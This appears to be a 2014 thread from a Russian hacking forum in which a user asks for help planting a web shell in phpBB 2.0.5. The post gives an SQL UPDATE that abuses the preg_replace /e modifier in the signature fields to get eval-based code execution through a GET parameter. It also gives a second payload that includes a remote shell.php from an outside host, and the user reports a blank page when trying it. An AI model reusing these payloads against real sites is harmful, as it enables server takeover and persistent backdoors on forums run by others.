Заливка шелла в phpbb 2.0.5

FORUMS

MEMBERS

RECENT POSTS

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Заливка шелла в phpbb 2.0.5

08.04.2014, 17:27

good.god

Участник форума

Регистрация: 23.11.2009

Сообщений: 107

С нами: 8666229

Репутация: 44

Вечер добрый, не получается залить шелл в phpbb 2.0.5.

Пытаюсь залить через восстановление БД:

Код:

UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:eval(stripslashes($_GET[e]));' WHERE user_id=2;

.

И пхпинфо прекрасно отображается так:

forum/profile.php?mode=editprofile&e=phpinfo();

А вот когда таким путем пытаюсь залить сам шелл:

Код:

UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:include("http://site.ru/shell.php")' WHERE user_id=2;

.

Получаю лишь белую, пустую страницу

Прошу Вашей помощи

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home